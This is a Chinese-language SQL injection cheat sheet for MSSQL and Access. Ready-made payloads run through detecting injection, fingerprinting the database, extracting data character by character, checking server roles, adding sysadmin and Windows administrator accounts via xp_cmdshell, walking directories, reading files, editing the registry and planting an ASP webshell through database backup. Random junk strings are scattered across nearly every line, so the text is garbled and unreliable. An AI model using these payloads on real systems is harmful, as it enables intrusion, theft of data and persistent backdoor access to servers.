1.判断是否有注入;and 1=1 ;and 1=2 !"8fdSfg
w
2.初步判断是否是mssql ;and user>0 lNQcYv
sP^R/z|Y
3.注入参数是字符'and [查询条件] and ''=' "M|zv
hKzSgYxP=t
4.搜索时没过滤参数的'and [查询条件] and '%25'=' tv!_e$CR
<7-J0btV
5.判断数据库系统 f>aRkTHf
4)1s M=u
;and (select count(*) from sysobjects)>0 mssql +la2n(CAK
UI>Y0O
;and (select count(*) from msysobjects)>0 access 6xD#?
< yC
5uxBK"q
r\AyN=
y
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ID#I`}h.k
765p/**
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 -?(E_^ng
r#xg#u oj
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 rk)##)
sg+uBCGB
9.(1)猜字段的ascii值(access) tU_y6
2(/g}
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 i+gQE!
ezPz<iZ\N
(2)猜字段的ascii值(mssql) v%fu
$V1;la!
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 K~22\G`
6ND`l5
10.测试权限结构(mssql) ei
rzYt
4C FB"?n0
bT&: fHc
AE} )o)B
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- /%Nr?V
EY \H=@A
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- JGuN:c$
%'[&U# -
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 1 5A*7|
_Gu-
uuy
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- n5{Xj:}
.nyfYa+
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1&e} ms
h[PYP5{L
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- }fKSqB]T-
+zy=50,
;and 1=(select IS_MEMBER('db_owner'));-- D}vmwg@3
F$[ U|%*
% rxO_
H/Llj.-jg
11.添加mssql和系统的帐户 g&`pgmUX
fJ ,1Ef;Z
;exec master.dbo.sp_addlogin username;-- j\m_o% 4
;exec master.dbo.sp_password null,username,password;-- _)\c&.p]f
9]e V?yoA8
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $ aUo aI
48Mpf=f`
;exec master.dbo.xp_cmdshell 'net user username password |O"lNUW
:rg5Kt&
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- C*`mM'#
uJ6DO#d`P
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Kw#i),M
A\#iXOd
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Aj0Tfdxy
2 aL)
VZ\B<i
A,`8#-AX
12.(1)遍历目录 VqS#waNrx
i F+vl]
;create table dirs(paths varchar(100), id int) n/h,Lr)Z
%?m$`9yU
;insert dirs exec master.dbo.xp_dirtree 'c:\' b?Ki;[+O
{Lm~r+
U
;and (select top 1 paths from dirs)>0 ahPoEh
?.YOI.U^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) sq;s]@~
:hM/f
G>q(iF'
/RMPS.
d
{
(2)遍历目录 Q_t`.jus
!tp1:'KG
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- v;0|U:`]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $H-!j%hV
(`:O~>[N
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 AhNq/?Q Q~
KjQR$-
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 DoeiW=
Jm42b4
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 39=1f6I1
ZfB"
E
YJo["Q
E>}4$q[r
13.mssql中的存储过程 X_7UJ
jFw"
qs QNjt
xp_regenumvalues 注册表根键, 子键 +Xemf?
T,VY.ep/
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 &cu lbcz
)4&cph';
xp_regread 根键,子键,键值名 >hr{JJe
WH= EPOR,
;exec xp_regread Uy$)%dYfq5
4vwTs*eB`
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Rb{U+/gq
X#e1KZ
xp_regwrite 根键,子键, 值名, 值类型, 值 [AW"
D3
]Ei0d8Uo
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 @U2qD
J6
;W^o@*i{>
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ;]pJj6J&v
t8dm)s[r8
xp_regdeletevalue 根键,子键,值名 ^Y
iJV7
AqV7\gdOC
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 dS<C@(
IzpZwx^3''
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8f3vjK'
Grk@dZI
=hMY2D
Iwc{R8BV
14.mssql的backup创建webshell GPGm]G t
4A2?Uhpy
use model o!!yd8~*r
0eS)&GdR
create table cmd(str image); .Fa4shNV
ZAXN6h
insert into cmd(str) values (''); Y2?.}Z O
yd?x=|
backup database model to disk='c:\l.asp'; mljh|[
4- [J@
I:d[Q
s
()3O=!
15.mssql内置函数 iX4Iu3
~R@Nd~L
;and (select @@version)>0 获得Windows的版本号 )}_a
0bt
XQ~Ke-QW)
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \}
^E`b
pf_mf.
;and (select user_name())>0 爆当前系统的连接用户 T.qNCJmB
npNB{J[
;and (select db_name())>0 得到当前连接的数据库 /*c\qXA5
as>L[jyG/
C,.Ee3T
HVC>9_:]
16.简洁的webshell PK4iuU`vh
BouTcC
use model oun;rMq
\R3H+W
create table cmd(str image); UF@XK">
P'O#I}Dmw<
insert into cmd(str) values (''); W[^qa5W<FB
C|?o*fQ
backup database model to disk='g:\wwwtest\l.asp';